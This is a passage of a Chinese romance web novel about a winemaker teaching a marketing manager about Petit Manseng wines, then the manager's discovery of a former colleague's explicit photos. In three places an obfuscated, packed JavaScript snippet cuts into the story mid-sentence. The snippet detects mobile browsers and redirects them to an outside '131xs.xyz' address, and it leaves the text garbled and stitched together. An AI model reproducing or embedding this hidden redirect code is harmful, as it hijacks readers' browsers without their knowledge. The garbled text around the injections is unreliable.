在食指与拇指之间，他拈着细长的水晶杯梗，像是电影海报上多情男主角的姿势，又轻巧得好似拈着一支纸烟。 “我喜欢葡萄酒。” 他说，“它有微妙而复杂的香气，能比音乐与画作更令人浮想联翩。它还会像人一样，从青涩沉淀为成熟，再从成熟又转向衰老。 “而葡萄还是一种绝不会粉饰与扭曲自己的东西。即便是在最菜鸟的酿酒师手中，它也依然能够保有自己的特点，远比人类要诚实。” 岳一宛低头看向手里的酒杯：灿烂的金色波涛，正在一方透明天地里喧腾出快乐的浪花。他仿佛能听见来自遥远童年里的笑声，在淡黄色沙滩上奔跑的小孩子，嘴里欢呼着着葡萄汁与汽水的甜。 “我是因为喜欢葡萄酒，所以才成为酿酒师的。我当然希望每个人都能喜欢上葡萄酒，更希望每一个人都能品尝到我酿造的酒。” 酿酒师的声音停了下来，有那么一个瞬间，杭帆以为他是沉没进了走神的恍惚里。 很快，他的目光重又汇聚回了面前人身上，无不自嘲地补充道：“啊，但是，在斯芸，这是绝不可能发生的事情。” 斯芸的首席酿酒师耸了耸肩：“这话要是给上面的人听到了，他们可能会以为，我是想要把酒庄给改造成自来水厂呢。” 同是天涯打工人，理想与现实之间的冷酷落差，还有那份被“不成文的规则”所束缚的强烈窒息，杭帆完全能够感同身受。 ——原来，像帝王蟹一样在斯芸酒庄里横着走的岳一宛，在工作中也有不得不放弃与割舍之物。 这念头，让杭帆不由自主地就对岳一宛生出了些同病相怜的战友情来。 “不，打住，我不许你对此发表任何评价。” 岳一宛伸手，在杭帆的嘴唇上虚虚划了一道封条：“我不是被人用枪指着才来斯芸工作的，就像你也不是因为被Harris绑架了所以才来这里受难的，对吧？” “我们做出了自己的选择，所以就要接受由此带来的后果。” 这人前一秒还正说得义正言辞，下一秒却已经压低了嗓音道：“刚才的话，你就当是没听到，一个字也不许往外面讲，懂不？否则，哼哼，你也看见了，后山的葡萄园边就有一个水塘，呵呵，呵呵……” “那你最好还是提前构思个别的抛尸方法吧。” 早已看透了这人的虚张声势，小杭总监颇是不以为然：“我怕自己的尸体过于有营养了，不利于你心爱的葡萄在贫瘠土地里的生长。” 难得岳一宛也有被噎得哑口无言的时候。 像一条在岸上搁浅的鱼那样，这家伙的嘴张张合合了好一会儿，这才悻悻然地又往杭帆手边推了一杯酒。 就是最开始的那杯，比柠檬还酸的干型白葡萄酒。 此时，杭帆正忙着吃他那份奶汁三文鱼，对先前已经尝过的这杯酒实在是缺乏兴致。 “也支酒是我们那位好邻居的出品，与‘东方美人’来自同一个酒庄的‘海风莱’。” 介绍起这支酒的时候，岳大师的语气里充满谜之自豪感，活像是个炫耀隔壁家小孩儿期末成绩单的热心老大爷。 “蓬莱是中国唯一一个在海滨型的葡萄酒产区。如果让我来挑选一支最能代表本地风土特色的白葡萄酒的话，我首推这支‘海风莱’！” 大清早地就被从被窝里挖出来，杭总监又是爬山又是上课地被折腾了足足几个小时，正是饿得连盘子都能一起嚼碎咽下去的时候。 甭管岳一宛在旁边如何鼓动唇舌，杭帆都已经打定主意要先把肚子给填饱再说，他可不想再在这人面前晕倒一次。 而且，虽然很是不想承认——但岳一宛确实很有做厨子的天分。 鱼皮酥脆，肉质软嫩，酸甜番茄与浓厚奶汁的交融完美如水乳，再添上黄油与白葡萄酒的香气，简直要让人连舌头都一起吞进肚子里。 ——看在这般好手艺的份上，就算被这家伙阴阳怪气两句，也算是物超所值了。 美食的快乐，令小杭总监的头顶都开出了五彩缤纷的花。 惨遭忽视的岳大厨对此却颇有不满。 他抬手敲了下杭帆的头，“好学生怎么还上课走神呢？” 不等杭总监出声抗议，又端起了那杯酒往杭帆手边送了送：“愣什么，快来再试一口！这可是课程要求！” 在此人的执着要求下，满嘴塞着食物的杭帆只得再度拿起了杯子——他是见过那种聪明英俊又执拗的大型犬的。当它们捡起球来一个劲儿地往你手里送的时候，“拒绝”可不是一个明智的回答。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15438200|169300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做好了万全的心理建设，杭帆才把杯子递到了嘴边：这次，微酸的酒液吹起了雀跃的号角，成功地与酸酸甜甜的西红柿宣告胜利会师！ 这实在是一种奇妙的感觉，好像是口中所有味蕾细胞的感官能力都在这个瞬间得到了放大：此刻，你能鲜明而深刻地意识到，鱼肉丰腴甘美的脂肪正在口腔中慢慢融化；多汁西红柿的酸甜在口腔里徘徊萦绕，像是动人歌曲的主旋律，正拉着洋葱的香甜与菠菜的爽脆一起跳起圆舞曲。 奶汁的汤底里本就曾加入过白葡萄酒，如今旧友重逢，它们立刻便天衣无缝地缠绵在了一起：酒的酸味被汤汁中的奶油给大大冲淡了，而酸味特有的清爽口感，又完美去除了奶汁汤底给舌头带来的稠腻负担。 佳肴与美酒的绝妙搭配，令杭帆发自内心地生出了“不枉活过这一遭”的喟叹。在这个刹那，幸福感具象成了碳酸气泡，澎湃地从心底涌现上来。 “哇哦……” 在极致的感官体验面前，语言难以描述肉身体验的万分之一。杭帆愣怔了半天，最后还是只能磕磕绊绊重复着这一声笨拙的感叹：“这真是……完美。” “Yes！” 岳一宛兴奋得与空气大力击掌，“我就说吧？由我本人出手，绝对会让你喜欢上葡萄酒的！” 嗯……你说过这句话吗？ 沉迷美食的小杭总监一时也懒得戳穿这人。他快乐畅游在自己的餐盘与酒杯里，餍足得像是把整颗脑袋都塞进罐头里的猫。 只有兢兢业业的岳大师，依然记得他今天的要务是来给某位好学生上课，而非是随手投喂新同事。 “来吧，思考题。” 他屈指弹了下杯壁，敲出碎玉击冰般悦耳的脆响。 “两杯甜型，一杯干型，你觉得今天的课是用这三杯酒的原因是什么？” 风卷残云式地扫荡着盘中的食物，沉湎于味觉享受中的杭帆哪里还分得出脑子去加载岳一宛的提问。 “嗯……都是白葡萄酒？” 杭总监已经尽力匀出脑细胞来思考了，真的。 “你离正确答案，也就差了从绿球藻进化成智人的这么点距离了。”岳一宛嘲笑他，“你怎么不干脆说它们都是由葡萄制造的含酒精类饮料呢？” 面对首席酿酒师的修辞学攻击，杭帆只是慢条斯理地撕开一块了面包，仔仔细细地将盘底的汤汁都擦了个干净。 酒足饭饱后的小杭总监，好说话程度仅次于看到丰厚年终奖入账的时候。 看在食物的份上，他甚至主动陪岳一宛玩起了严师孝子的戏码：“好好好，既然岳大师大慈大悲地想要告诉我，那我在这里诚心诚意地发问了：您老把这三杯酒放在一起授课，到底是有何高深用意？” 浸润了奶汁的面包碎屑沾上杭帆嘴角，一点粉白色，配上那远比昨日与前日生动许多的声调，奇异地有了某种欲盖弥彰的意味。 而他唇边露出了一丝微笑：那是有着猫一样的机敏与狡意的淡淡笑容。 胸中扑通一声响，岳一宛好像听见了什么东西掉进酒杯里的声音。 不及深入细想，酿酒师的食指已然探上前去，在杭帆唇角轻轻抹过。 15. 工伤需得以酒抚慰 来自他人指尖的温热触感令杭帆心下一惚，下个瞬间，汤汁残迹已在他脸侧斜斜画出一道长痕。 始作俑者收回了手，对自己神来之笔相当满意。 “完全就是猫胡子啊。”这位大师甚至还附上了对创作意图的解说。 小杭总监抽出纸巾，一边擦脸，一边面不改色地扔出四个掷地有声的字。 “——傻逼吧你？！” 把桌上的酒杯按顺序排好，岳一宛脸上依旧笑意吟吟的，也不知这是在乐个什么劲儿。 “言归正传。” 他清了清嗓子，好像有在试图找回一点为人师表的尊严，但显然效用不大。 “在这几支白葡萄酒中，虽然既有甜型也有干型，但它们无一例外地使用了同一种葡萄来进行酿造——petit manseng，通常被叫做‘小芒森葡萄’。” 将细长玻璃酒瓶递进杭帆手中，岳大师点了点酒标上的那行小字：“就是‘中法庄园小芒森甜白葡萄酒’里的这个小芒森。” 杭帆大感惊奇，“小芒森？能用来酿甜酒的葡萄，本身也应该是非常非常甜的吧？也同样可以用来酿出完全不甜、甚至酸味明显的干白吗？” “而且‘小××’这个起名格式，嗯……” 小杭总监的职业病又犯了，这种熟悉的命名方式让他闻到了同行的味道：“实在很像是出自广告人或自媒体博主的手笔。” 岳一宛耸肩，“这确实是一个非常讨人喜欢的名字。” “法语中，petit的意思就是‘小’，因为这种酿酒葡萄的果实与果串都很迷你。在熟透之后，它会散发出近似于芒果等热带水果那样甜蜜且‘过熟’的浓郁香气。所以，‘小’‘芒’森，在我看来近乎于信达雅。” “而至于你刚才提到的第一个问题，非常好！这就是酿酒科学的入门级知识点了。嗯……我猜应该也是初中化学的考点之一？” 斯芸的首席酿酒师弯起了眼睛，循循善诱道：“让我们一起回忆一下，杭帆同学，糖发酵为酒精的化学式是什么样的？” ……这人怎么一副连哄带骗的语气，是在把我当小学生吗！ 杭帆还没抗议出声，思考系统却已经尴尬地在脑子里开始了报错：呃，糖……？不好意思，糖的化学式是什么来着？ 向文科生提问化学，这多少是有点强人所难了。 但不要紧，那么些年的社畜生涯，小杭总监也不是白干的。 “发酵反应是吧，”某位优等生同学施展出了避重就轻大法，语气含糊地抹掉了这一过程中的所有细节：“就是……糖加酵母，然后给个适当温度，最后得到酒精与二氧化碳？” 如此糊弄式的做答并没能逃脱岳一宛的法眼。 只是此人突然大发慈悲，并没有像评卷老师那样追着细节不放，反倒把手一摆，道：“大差不差，姑且就算你答对好了。” “言而总之，是‘糖’的存在让舌头感知到了甜味，而在葡萄果汁发酵成葡萄酒的这个过程中，糖会被酵母转化成酒精。如果一杯果汁在发酵前很甜，但在发酵结束后却一点甜味也没有，那就说明它的绝大多数糖分都已在发酵过程中被消耗殆尽，转而以酒精的形式存在于发酵后的液体里。” “那么，”岳大师打了个响指，“如果在经历了发酵之后，它的液体尝起来依然很甜，这就意味着……？” “意味着发酵过程提前结束了，还剩下许多糖没来得及被转化成酒精！” 小杭总监一拍大腿，深感于知识正像流水一样淌进了自己的脑子里。 “所以，所谓的干型葡萄酒，就是在发酵中尽可能地把糖分彻底转化成了酒精的类型？而甜型葡萄酒则正好相反，是在发酵结束后也尽量保留了糖分以维持‘甜味’的类型？” 岳一宛含笑点头。 “你确实可以这么理解。”他说，“在行业标准里，我们会通过实验室来测定来每一升酒液中的残留糖量。低于四克的葡萄酒称为干型，大于四克而小于十二克的成为半干型，大于十二克又小于五十克的称之为半甜型，大于四十五克或五十克的则称为甜型葡萄酒。” 眼看着杭帆在已经在手机备忘录上记下了全部的数据，酿酒师这才优哉游哉地晃起了食指，笑嘻嘻地补充说明道：“啊，当然，你不需要记得这些数字。因为每个国家的标准都会有些小小的不同。” 杭帆默默收起了手机，不欲与这人多做计较。 “同样的小芒森，既可以酿造甜白葡萄酒，也可以酿造干白葡萄酒……但既然是同一种葡萄，在开始发酵之前，这些用于酿造的果汁中也应该具有大致相同的含糖量。” 好学生不禁开始寻思：“含有更少的糖分，就意味着干型葡萄酒在发酵中比甜型葡萄酒产出了更多的酒精……那这样的按道理来说，‘海风莱’的酒精度数，是不是应该要比‘东方美人’等酒更高一些？” “完全正确！” 岳一宛为他鼓掌，甚至有模有样地感慨了起来：“做你的老师可真是太有成就感了！” “只要说出前半句，你就能自己推导出后半句，这让我感觉自己可真是厉害啊！……嗯？难不成，我其实还挺有教书天赋的？” 这我很难评。 杭总监一脸的冷漠。 “唉，话说回来，小芒森真是一个很不错的品种。” 转着手里的酒瓶，斯芸的首席酿酒师继续说道。 “你知道吗？这是一种原产自法国西南沿海的葡萄，每棵藤上能结出的果实并不太多，在种植过程中却又需要额外的大量修剪工作，所以它并没能跻身进世界主流的酿酒葡萄品种中去。可美人不就应该是这样的吗？需要你投入更多的心力与爱护，才能够绽放出最闪耀动人的光彩。” 甜酒的细长瓶身在岳一宛手中晃动，像是身姿纤细的佳丽，在琥珀色灯光下与英俊的酿酒师跳起摇摆舞。 “啊，可恶！想起来就生气！明明是最能表现中国土地独特气质的有趣品种，那群喜欢保守安全牌的家伙却不让我去尝试，啧！” 话锋一转，岳大师骤然捏紧了手里的瓶子，好像这样就能隔空掐死某个和他做对的人似的。 一提到那些他想干却不能干的事情，这人就几乎忘记了杭帆的存在。酿酒师不仅在手背上爆出了青筋，嘴里还一个劲的嘀嘀咕咕道：“给我等着，早晚有一天，我要种它个一两个百亩的小芒森！嗯……择日不如撞日，我看要不就从今年开始吧……要不先从好邻居的田里薅点来给我也行？” 很难分辨这到底是工作理想还是犯罪计划。 杭总监向来以“没有感情的打工仔”自居，实在无意窃听岳一宛与高层们的神仙打架故事——他可还有一大堆被前同事给删成空白的斯芸酒庄社媒账号要打理呢！ 于是他瞅准时机站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15438201|169300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起身来，礼貌地问了一句：“那，我们的今天课就上到这里？” 自顾自地沉浸在“痛失小芒森”的失意里，岳大师似乎没听见自家心腹爱徒的问话。 杭帆叹着气，拿过桌上那些餐盘与酒杯，将残汤剩饭们都给倾倒了个干净之后，又顺手都给塞进了洗碗机。 “喂？岳老师，岳大师？你还活着吗？”小杭总监在他那便宜导师的眼前伸出五指：“我真的得走了。今天是周四，得在六点前提交本周的周报。” 周报这种东西，虽然写了也没有屁用，但不写就会被扣钱。 而杭帆决不会允许这种事情发生。 眨了眨眼睛，岳一宛的目光重又回到了杭帆身上。 酿酒师潦草地点了下头——酿酒师也会需要写周报吗？杭帆并不清楚。但如果在自己抓耳挠腮地写这些狗屎玩意的同时，岳一宛却压根不用受这苦的话，杭总监宁愿一辈子也别知道这份残酷真相的存在——然后，他捉住了杭帆的五指，将还剩下大半瓶甜蜜酒液的“东方美人”塞进了对方的手中。 “我猜你会需要这个的。” 岳一宛冲他露出了一个高深莫测的笑。 “在应付工作的时候。” ——是那种同事发现你假借“抽根烟”的名义逃出了办公室，却坐在路边便利店里玩了整整半小时手机时会露出的那种“我懂你”的微笑。 鬼使神差地，杭帆问他：“你也会有这种时候？” ——明明是在做自己喜欢的工作，却发现自己痛苦得干不下去，不用外力来麻痹自己就压根无法继续生活的时候？ “当然。”岳一宛说。 他的语气直率得像是在陈述世界真理，也不知是不是又回忆起了与自己失之交臂的小芒森葡萄：“要是不在开会前预先来上一杯，我实在是很难控制自己往某些人脸上狂吐口水的冲动。” 这次，杭帆不得不高高举起酒瓶以示赞同。 事实证明，在预判工作这件事到底能给人带来何等程度的惊吓上，岳一宛确实很有先见之明。 那一天，当窗外的太阳将将落进群山背面之后，杭帆终于写完了接手酒庄账号运营的初版企划书，又踩着死线把胡编乱造的周报给提交进了系统里。 今天的工作就做到这里吧，小杭总监心态安详地合上了笔记本电脑。明天的困难，就都留给明天的我再解决。 不过在那之前，他还得把从行政那里领来的新设备都给好好“处理”一下。毕竟，某位前同事留下的照片着实不堪入目，杭帆可没有留着那些玩意儿慢慢品鉴的爱好。 都怪万恶的智能系统，一经解锁，就自动显示出了先前未能来得及关闭的相册界面。 杭帆心不在焉地移开了视线，试图随手给这些照片都点上全选——刚刚提交完周报的松懈心情，让他一时忘记了还有“恢复出厂设置”这回事。 那张“热情奔放”的照片，就是被这样误触点开的。 好死不死，这还是一张录进了声音的实况照片。 在眼睛看清照片里那人的动作之前，杭总监的耳朵已经清晰无误地听见了一个名字。 一个沉溺在欲望浪涛中的，用妩媚男声喊出的，他再熟悉不过的名字。 “一宛……岳一宛！” 现在，杭帆是真的觉得自己需要狠狠地来上一杯。 还得是最大最满的一杯才行。 16.兄弟，看看色图 白洋笑得前仰后合，一如世界上每一个以你的尴尬为快乐源泉的损友。 “给我看看，快拿来给我看看！” 这家伙恨不得能从视频通话的屏幕里爬出来：“你太不够意思了，杭小帆。这么刺激的好东西，你竟然都不拿出来和我分享！我难道不是你最好的朋友吗？” “你！不要恶人先告状！” 清晨六点半，熬了个大夜的小杭总监仍在忙着剪辑视频素材。听了这话，差点没给他给当场气厥过去。 对着白洋的那张酷哥大脸，他“邦邦”就是两记老拳。 “我在线上呼叫了你整整两周，甚至还在游戏里给你留了言。” 杭帆想笑又不能笑，这让他的埋怨语气都扭曲成了一种奇怪的呻吟，听起来颇为痛苦，仿佛是有人以挤牙膏似的动作掐住了他的脖子一般。 “而你！白洋，你隔了整整十六天才回复了我！你知道这半个月来我都过着什么样的日子吗？” “不，你不知道。” 小杭法官冷酷地给他的恶友下达了判决书：“你根本不关心我这个好朋友的死活，你只关心自己看不看得到色图。” 白洋分明笑得连肩都在抖，表情管理却依旧完美——若非杭帆与此人熟识近二十年，怕是也无法从这张封面模特般标准的淡淡微笑里解读出“此君已在肚子里偷偷笑裂了”的真相。 “我当然关心你，亲爱的朋友。” 他说这话的语气平淡无波，仿佛是在菜市场上询问一斤白菜的价格：“我一连上网就来回复你的消息了，为此还甚至搁置了编辑与同行们的问候。而杭帆你竟然不认为自己是我在这个世界上最关心的人之一？我要伤心了，杭小帆同学。” 想到这人动辄就失联十天半月的种种前科，杭帆不得不在分享自己的惊天八之卦前，先提醒他去履行一些社会常识方面的俗务：“你还是先给编辑他们发个报平安的消息吧，不然他们要是以为你失踪了，多半又要打电话来给我。” “嗯，正在发呢。” 白洋坐在地上，低头在笔记本电脑上敲敲打打，眉宇间尽是置生死于度外的超脱淡然：“不过，杭帆。你要是真的嫌烦，我也可以把紧急联系人改成别的号码。” 他耸耸肩，“反正都只是走个形式而已。” 杭帆很难不去注意，在白洋的身后，在那黑沉沉的环境里，只有一小段老旧的钨丝，正昏昏地发出疲惫的亮光。 也不知这家伙眼下正身处于哪一处的破旧旅店里，又或是哪国边境上的临时难民营中。 白洋不说，杭帆也就不问，这是他们多年以来的共同默契。 “可拉倒吧。” “你的其他朋友，不是战地记者就是线人。这要是真有什么急事，除了我，还有哪个是能立刻就联系得上的？甚至你大学辅导员那里都留的是我的手机！” 相识这么多年，杭帆还能不了解这货？ “……算了，我也不是第一天给你赛博当妈，就这样吧。” 翻书都比不上杭总监认命的速度快。 “好嘞，妈。知道了，妈！” 隔着五个小时的时差与半个地球的距离，大逆子白洋在视频电话的另一头发出笑声。 “说回刚才的话题，你最近过得如何？工作还顺利吗？那个酿酒师还在继续折磨你不，用他那副‘堪与阿波罗比肩的美貌’？” 和岳一宛的相处过程，如今已经成为了杭帆生活中最普通的一个环节。 如果能更诚实点地说的话，他的新岗位无聊枯燥至极，与行尸走肉一般无二，每日里干的净是些“（不说人话的）文案撰写”与“（鬼才会看的）视频剪辑”的活儿。 在所有那些狗屁倒灶的周报表格与企划书之间，能和岳一宛碰面，或者见缝插针地上一节葡萄酒课程，哪怕只是这家伙互相抬杠两句，都能给杭帆带来巨大的慰藉。仿佛是被差遣跑腿了一整天之后，新手勇者终于回到了复活点，一头扎进充满快乐魔法的甘霖池。 是一种奇妙而令人宽慰的情感。可如果当真要说出口去，却又让杭帆觉得十分羞耻。 只是想到岳一宛这个名字，杭帆都要拼尽全力才能绷住自己的表情。毕竟“微笑”这东西是个可恶叛徒，随时随地都有可能出卖他的真实想法。 “工作？” 他故意在白洋抛出的几个话题里挑了自己最讨厌的那个，干巴巴地“哈”了一声，道：“我每天的工作就是在为互联网制造更多的垃圾信息，用斯芸酒庄的账号在各个平台上发表一些‘今天的天气真好啊’云云的废话。” 抒情文案过于矫作？他尝试用更多的葡萄酒知识来弥补账号内容方面的空洞。 照片和视频里的风景过于单调？他已经换了十几种角度来拍摄那些灰扑扑又光秃秃的葡萄园了。 ——天可怜见，要给品牌的社交媒体账户做内容，那也得是品牌故事里有内容可做啊！ 眼下这时节，连田里的葡萄藤都还没开始抽芽呢！一天天的，到底哪来那么多“有腔调”又“有趣味”的东西可供他杭总监胡编啊？ “考虑到过去半个月的惨淡数据，而Harris到现在都还没把我开除掉，我猜，很可能是因为他自己也没搞明白，什么样的新媒体营销才能高级到符合斯芸的品牌调性，又通俗到足以显著增加销量。只能姑且任由我在这里先糊弄着。” 这番剖白锋锐，却也充满了自嘲式的无力。这让白洋看向他的眼神都变得怜悯起来，仿佛是在路边看到一只被暴雨淋湿的猫仔。 只有杭帆自己知道，这前半部分都是百分百不掺水的大实话，但接下来的那半句或许就没那么的真心了。 “我在想……如果在六月之前还有没把握给账号做出什么起色的话……我或许应该自己提出离职的。带着上个年度的优异战绩自觉退场，总比在今年的‘618’结束之后，再被Harris找借口开掉要来得体面些。” 考虑到职业前途与未来薪资，这是毫无疑问的当下最优选。 但感情这软弱的东西啊，却又自说自话地在杭帆的胸腔里渗透出苦涩的汁液：如果什么成果都没能做出来，就这样挥起白旗夹着尾巴逃跑了，岳一宛会如何看待自己这个“逃兵”呢？ 离开这座酒庄之后，自己又还能在何处再与岳一宛重逢呢？ 白洋轻轻拍了下镜头，似乎是在比划“拍肩膀”的动作。 “辛苦了，兄弟。钱难赚，屎难吃，你的日子是真的不容易啊。” 虽然，好像已经有一年多没和这人在线下真正地碰过面了，杭帆心想，但不管过去多久，这家伙依然还是那副不会安慰人的样子，真是令人安心。 就好像无论外面的世界如何变化，只要打开对话框，他们依然能回到十几岁的那些夜晚，默默无言走在人声鼎沸的小吃街上，怀揣着各自不同的沉重心事，又安静地在彼此陪伴在朋友的身旁。 “不过……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15445037|169300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 白洋挠了挠下巴，这通常是他即将发表一些气人观点的前兆。 “刚才翻看你的朋友圈动态，我还以为你最近正过着花天酒地的好日子呢。每天都有好酒好菜，有些甚至还花心思做了摆盘……怎么，你这是在酒庄里偷偷谈上恋爱了？” “我总不能因为被公司流放了，就天天在这儿绝食以明志吧？” 杭帆挥手嘘他。 “再说了，”他长长呼出一起口气，“朋友圈都是发给我家那位杭女士看的。” 每每提到母亲杭艳玲，杭帆总是逃不脱心头涌上的复杂感情。 他爱她，毋庸置疑。有时候这份爱甚至远远超过普通人家的孩子所能拥有的极限——因为杭艳玲的爱就像是一双越来越不合脚的鞋。她的期盼、她的愿望，她投射在杭帆身上的所有那些“美好祝福”，都一日更比一日地让杭帆痛苦万分。 为了能让她在小姐妹跟前面上有光，为了能让她在街坊邻居面前抬头挺胸，为了能够成为杭艳玲心目中的“完美儿子”，杭帆不得不早早地学会隐藏起一部分的自我，甚至是主动放弃自己的梦想乃至于欲望。就像为了适应一双早已不再合脚却无法抛弃的鞋履，而生生地从双足上割下血淋淋的骨头与肉来。 可到底要做到什么程度，要“表演”到一个什么样的地步，才能让杭艳玲真正地、永远地幸福下去呢？ 他不知道。 杭帆真希望自己能够知道。 “如果不这么做的话，她就会以为我在山上受苦，既吃不饱饭又睡不好觉。然后忧心忡忡地给我寄一大堆营养品与真空包装的熏鱼过来。” 他冲白洋做了个鬼脸，两人不约而同地回忆起了被熏鱼和雪菜给淹没的大学时代：“我真的再也不想吃熏鱼了，至少在她看不到的地方，我一口都不会再吃！” “发那些照片……至少能让她觉得我正在从事一份待遇优渥且有空做饭与吃饭的工作吧。或许，她以后就不用再为我的生活而操心。” “——哎不是，你干嘛一副见了鬼的表情？” 白洋同志满是疑问的表情诚然不太有礼貌，但杭帆总监勃然大怒的心态确实也稍显狭窄：“你都多少年没吃过我做的饭了！我这几年的厨艺简直进步神速好吗？你别不信，生活让人奋进！” “我倒是不担心你做中餐的手艺，”白洋诚恳地说，“但你连羽衣甘蓝和包菜都分不清吧？做西餐真的没问题吗？” 有个太过了解你的朋友就是这点不好。 他们的小脑袋瓜子不一定能时时都记得你的生日，但一定能对你的每一桩黑历史都念念不忘，以便随时翻出来揭人老底。 “我坦白，我坦白总行了吧。” 杭帆放弃了挣扎，他知道，对白洋隐瞒这些再明显不过的事实就像是对着镜子撒谎，荒谬，且没有意义。 “有些是岳一宛做的。”杭帆说，“对……就是做了摆盘的那些。他擅长做西餐，所以我就做中餐了。我们最近轮流做饭，没轮到那个人就负责备菜和洗碗，我觉得这是很合理的分工。” 而白洋不愧是在枪林弹雨里翻滚出来的战地摄影师，只听了这一耳朵，就立刻从大量冗余信息过滤出了最关键的要素。 “才过去半个月，你就已经从‘想毒哑他的那张嘴’，变成了天天和他一起做饭的关系？” 他高高地扬起眉毛，神态里不无调侃之意：“我之前说过什么来着？这是一见钟情啊，杭小帆。” 17.疑似怪异求偶行为？ 重重倒吸了一口冷气，杭帆脸上表露出的惊恐，好像白洋并不是在调侃他与岳一宛的关系，而是冷不丁在背后捅了他一刀似的。 “这不可能。” 他的脊背略微挺直了一些，口吻也稍显僵硬，游移的眼神甚至显出几分可疑的仓皇来。 “又不是十七八岁的时候，”杭帆打着哈哈，“怎么可能还因为这么肤浅的理由就喜欢上一个人？” 白洋无动于衷地嗯了一声。 十七八岁的那时候，他也常用和现在一模一样的语气来应付杭帆的设问句。 “但人类本来就是肤浅的视觉动物吧？”他说，“欲望可是最诚实的东西。” 十七八岁的杭帆，会因为被好友猛然戳到痛处，而像受伤小兽一样警惕地竖起自我防御的盾牌。 可现在的杭总监只会胡乱把手一摆，嘴里念着什么“职场恋爱”“我又不傻”之类的句子，四两千斤地敷衍过去。 但是，说到职场恋爱…… 小杭总监的大脑放映厅突然被有毒记忆接管，不请自来地开始了它的激情重播： 以一种色情到令人毛骨悚然的手法，镜头在精瘦身体上来回扫视，像是拍摄者在用无形的第三只手下流地抚摸自己。以极度不自然的方式，高高鼓起的肌肉在衣服下绷紧，黝黑皮肤上汪着一层腻腻的人造油光…… 『一宛，』自得其乐的主角用妩媚而高亢的声音喊道，『岳一宛！』 “啊啊啊啊啊啊啊！” 双手撕扯着自己的头发，杭总监崩溃大叫着撞上电脑键盘。 “脏了！我的耳朵脏了！我的眼睛也不干净了！” 他一头瘫倒在桌子上，仿佛屋檐下一条不幸被天雷劈中的咸鱼干：“救命，救命啊白小洋……我觉得自己的大脑都受到了玷污……这是工伤吧？这是不可逆的精神损伤啊！” 白洋笑得嘎嘎作响，酷哥人设碎了一地，活像是一只酷爱在三更半夜里引颈长鸣的低素质大鹅。 “那玩意儿到底是拍得有多烂啊？” 地球的另一端，专业摄影师正兴奋得摩拳擦掌：“要不你发我瞧瞧，让我也来分享分享你的痛苦。” “你给我闭嘴！” 有气无力地，杭帆发出不知是怒骂还是哀嚎的声音：“是我的号不想要了，还是你的号不想要了？传播□□物品、侵犯他人隐私，这都可是要判刑的！” 撇开个人情感与公序良俗不看，相册里的那些照片与视频，拍摄手法都足以称得上是专业。 “我真是服了，大哥，你有这空闲，有这技术！就他大爷的不能多拍点工作素材吗，啊？” 杭总监简直要抓狂：“打工人何苦为难打工人，这老哥为什么就不能行行好！把素材和账号都清空也就罢了，你在公司的设备里留下这些玩意儿又算是个什么事儿啊？！” 白洋深沉点头：“留下来，就是想要给人看嘛。很好理解。” “呃啊！”杭帆愤恨捶桌，“这人难道是没有羞耻心的吗？” “嗯……”白洋若有所思。 “你知道的，有些人的癖好吧，就是想要被人看。” 杭帆一口水喷出去：“——我知道？我知道什么了？我不知道啊！” “哦，破坏了你心灵的纯洁真是不好意思。但你现在知道了。” 专业人士的脸上毫无波澜。 “我——我他大爷的才不想知道这个！” 憋得通红的脸紧皱成一团，小杭总监大概需要吸点氧才能缓过劲儿来：“苍天大地啊，到底有谁会想要看到这玩意儿？这位神人到底是怎么想的！能接手这台平板的不都是他的同事吗？同事啊！这个世界上最缺乏性张力的关系！图什么？告诉我！TELL ME WHY！” 这批“娱乐大作”的总数多达上百，而杭总监只是不小心看清了其中的一个，就已经尴尬得快要把脚趾挠进地心。 有时候，人与人的脸皮差距，比报纸与城墙的厚度差别还大。 “或许这人就是想要给同事看到？” 白洋只是随口一提，并不具体指向任何人：“大概是一种变相的职场性骚扰行为吧。” 出于某种奇特又轻微的厌恶感，杭帆没有把实况照片里录进了声音的事情告诉白洋，也从未提供过更多的细节描述——他甚至是有意不去提及那个被单方面呼喊了的名字，好像这样做就能暂时地把讨厌的东西给隔绝在外。 可这一瞬间，他突然就一下子全明白过来。 所有那些杭帆没去过多在意的细节——那张令人作呕的实况照片，酿酒师口中“死缠烂打又自我感动”的那个职场爱慕者，被开除的前任驻酒庄媒体运营，因私怨而清空的斯芸官方账号，还有其他那些曾从杭总监的耳边如风般掠过的闲言碎语——全都联系在了一起。 简单，明确，像是在白纸上用黑笔写下答案。 “我操。” 杭帆脱口而出。 “我操，冯越？他是冯越啊！” 极度震惊中，这位前同事的大名就像一块撞向地球的陨石，挟着熊熊天火，重重砸回了杭帆的脑海。 